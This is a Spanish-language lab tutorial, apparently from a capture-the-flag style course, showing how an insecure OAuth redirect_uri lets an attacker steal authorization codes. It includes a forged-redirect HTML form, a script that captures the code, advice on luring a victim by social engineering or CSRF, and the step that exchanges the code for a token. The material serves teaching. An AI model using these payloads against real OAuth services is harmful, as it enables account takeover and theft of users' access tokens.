Los tokens juegan un rol crítico en el framework OAuth 2.0, actuando como claves digitales que otorgan acceso a recursos protegidos. Estos tokens son emitidos por el servidor de autorización y redirigidos a la aplicación del cliente basándose en el parámetro redirect_uri. Esta redirección es crucial en el flujo OAuth, asegurando que los tokens se transmiten de forma segura al receptor. Sin embargo, si el redirect_uri no está bien protegido, los atacantes pueden explotarlo para secuestrar tokens.
Rol de Redirect_URI
El parámetro redirect_uri se especifica durante el flujo OAuth para redirigir el token desde el servidor de autorización, después de que la autorización se lleve a cabo. Esta URI debe estar preregistrada en los ajustes de la aplicación para prevenir vulnerabilidades de redirección abierta. Durante el proceso OAuth, el servidor comprueba que la redirect_uri proporcionada coincide con una de las registradas.
Vulnerability
Una redirect_uri insegura puede llevar a problemas severos de seguridad. Si los atacantes ganan control sobre cualquier dominio o URI listada en redirect_uri, pueden manipular el flujo para interceptar los tokens. Aquí se muestra cómo debería ser explotado:
- Considera una aplicación OAuth con las siguientes URIs de redirección registradas:
- Estrategia del Atacante: Si un atacante gana control sobre
dev.bistro.thm, pueden explotar el flujo OAuth. Configurando laredirect_uriahttp://dev.bistro.thm/callback, el servidor de autorización mandará el token a este dominio controlado por él. - Ataque Construido: El atacante inicia un flujo OAuth y asegura que
redirect_uriapunta a su dominio controlado. Después de que el usuario autorice a la aplicación, el token es mandado ahttp://dev.bistro.thm/callback. El atacante puede ahora capturar este token y usarlo para acceder a recursos protegidos.
Preparando el Payload (Prespectiva del Atacante)
Antes de empezar el ejercicio, asegúrate de que tienes la sesión de la víctima cerrada visitando http://coffee.thm:8000/admin/logout.
Para este ejercicio asumimos que el atacante ha comprometido el dominio dev.bistro.thm:8002 y puede hostear cualquier página HTML en el servidor. Considera a Tom, una víctima a la cual se le mandará el link. El atacante puede construir una página HTML simple (redirect_uri.html) con el siguiente código:
<form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get"> <input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/malicious_redirect.html"> <input type="submit" value="Hijack OAuth"> </form>
Este formulario manda un parámetro escondido redirect_uri con el valor http://dev.bistro.thm:8002/malicious_redirect.html y subir la petición a http://coffee.thm:8000/oauthdemo/oauth_login/. La página malicious_redirect.html interceptaría el código de autorización de la URL usando el siguiente código:
<script> // Extract the authorization code from the URL const urlParams = new URLSearchParams(window.location.search); const code = urlParams.get('code'); document.getElementById('auth_code').innerText = code; console.log("Intercepted Authorization Code:", code); // code to save the acquired code in database/file etc </script>
Como el atacante tiene control total del subdominio, una vez que redirige a una víctima, guardará las credenciales en una base de datos/archivo para usarlo después.
El atacante puede mandarle a Tom el link (http://dev.bistro.thm:8002/redirect_uri.html) mediante ingeniería social o CSRF. La víctima, inocente, hace click en el link, lo que lo lleva a dev.bistro.thm:8002/redirect_uri.html.
Abre dicho link en la máquina virtual como "víctima". Verás esto:
Cuando la víctima hace click en "Login via OAuth", el formulario llama a http://coffee.thm:8000/oauthdemo/oauth_login/ pero con una redirect_uri falsificada. Una vez que la víctima introduce sus credenciales (victim:victim123) en el proveedor de OAuth, redirige el código de autorización OAuth a la URL (http://dev.bistro.thm:8002/malicious_redirect.html) controlada por el atacante, permitiéndole interceptar y usar para sus fines el código de autorización.
Perspectiva del Atacante
Desde la máquina del atacante, pueden utilizar el código de autorización interceptada para llamar al endpoint /callback e intercambiarlo por un token válido. Con este token, el atacante gana acceso no autorizado a los recursos protegidos del usuario. Para obtener este token, visita la URL http://bistro.thm:8000/oauthdemo/callbackforflag/?code=xxxx y reemplaza code por el código adquirido.
